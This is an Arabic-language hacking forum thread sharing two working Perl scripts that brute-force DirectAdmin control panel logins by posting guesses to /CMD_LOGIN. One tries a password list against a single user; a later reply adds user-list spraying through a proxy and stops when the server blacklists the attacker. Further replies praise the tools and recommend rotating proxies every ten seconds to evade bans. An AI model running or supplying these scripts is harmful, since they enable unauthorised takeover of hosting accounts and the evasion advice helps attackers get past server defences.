direct admin brute-force

السلام عليكم ورحمة الله تعالي وبركاته

السكريبت perl

#!/usr/bin/perl     use LWP::UserAgent;     use HTTP::Request; print q(  ======================================================== #         directadmin brute forcer perl (priv8) ======================================================== ); my $host = $ARGV[0]; my $port = $ARGV[1]; my $user = $ARGV[2]; my $list = $ARGV[3]; die " usage : perl $0 [host] [user]
[list] 
 - 
 Ex : perl $0 http://localhost/ 2222 direct pass.txt
" unless $ARGV[3]; if($host !~ /http:\/\//) { $host = "http://$host"; } my $useragaint = new LWP::UserAgent; open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";  @LISTS = <PASSFILE>;  close PASSFILE;  foreach my $L (@LISTS) {  chomp $L;  $pwd = $L;  my $response = $useragaint->post($host.":".$port."/CMD_LOGIN", {  "username"   => "$user", "password"   => "$pwd", }); if ($content = $response->content=~ /<h1>Invalid login. Please verify your Username and Password<\/h1>/) { print "[-] password : $pwd Is Incorrect . 
"; } else { print "

[+] PASSWORD FOUND : $pwd
"; exit() } }

اضن انك تخصصت في هذي الهجومات ههههه

مشكور على السكريبت

بس انا مجربو من قبل لما تاخد باند من سيرفر يعطيك يوزر وباس عشوائى

راك تقول banned ya br0x

بةيسك البرنامج يخدم بال if and else

يعني نقولوااا كتكون نفس الروكيت من السيرفر example N 1
البرنامج يكمل يخمن في الباسووردات

كتكون روكات من السيرفر 2 N

البرنامج يحبس ويعطيك الباس

بصح تدي باند من السيرفر هدرة خرة

[b]مرسي عليك بالنسبة للباند و الحكايات هذوا … كنت مستيكيه سكريبت هذا من قبل
رجعتوا يمشي بـ proxy و userlist
طريقة استعمال الجديدة

usage : perl $0 [host] [user list] [pwd] [proxy]
Ex : perl $0 http://localhost 2222 users.txt 123456 82.153.217.53:8080

[/b]


#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;

print q(
# 1st c0d3 by Very Secret ~~ p0c.cc
# DEV++ By Lagripe-Dz ~~ sec4ever.com

);
my $host = $ARGV[0];
my $port = $ARGV[1];
my $userlist = $ARGV[2];
my $pwd = $ARGV[3];
my $proxy = $ARGV[4];
die " usage : perl $0 [host] [user list] [pwd] [proxy] 
 - 
 Ex : perl $0 http://localhost 2222 users.txt 123456 82.153.217.53:8080
" unless $ARGV[3];
if($host !~ /http:\/\//) { $host = "http://$host"; }
my $useragaint = new LWP::UserAgent;
open (USERFILE, "<$userlist") || die "[-] Can't open the List of users file !";
@LISTS = <USERFILE>;
close USERFILE;

foreach my $L (@LISTS) {
chomp $L;
$user = $L;

if($proxy != ''){

$useragaint->proxy("http","http://".$proxy);
$useragaint->timeout(10);

}

my $response = $useragaint->post($host.":".$port."/CMD_LOGIN",
{
"username"   => "$user",
"password"   => "$pwd",
});

if($content = $response->content=~ /Invalid/)
{
print "[-] wr0ng : $user
";
}
else{
print "[+] FOUND : $user
";
}

if($content = $response->content=~ /blacklisted/){
print "Band!!!!!!!!!!!!!!";exit(0);
}


}

يعطيك الصحو خويا جاقو و مشكور نسيم على الأضافة.

و ان كنت صراحة لم اجرب بريت على الدايركت ادمين.

باند من السيرفر

اصبح التخمين شي صعب على السيرفرات

لابد من برمجة اداة تقوم بتغيير بروكسي الاتصال كل عشر ثواني بعد تزويدها بلستة بروكسيات

صحيت خويا …

مبدع كعادتك اخ جاغو :d

صراحة ماجربت البريت على الديركت الادمن …

و مشكور نسيم عالاضافة

تحياتي لووورد

thnx

basah tag3od la rapiditer ta3e attack tawal chwi puisque

dawra waybadal proxy :smiley:

شكرا لك جاقو على سكربت
وشكرا نسيم على الإضافة

يعطيك الف عافية

مبدع

بنتضار جديدك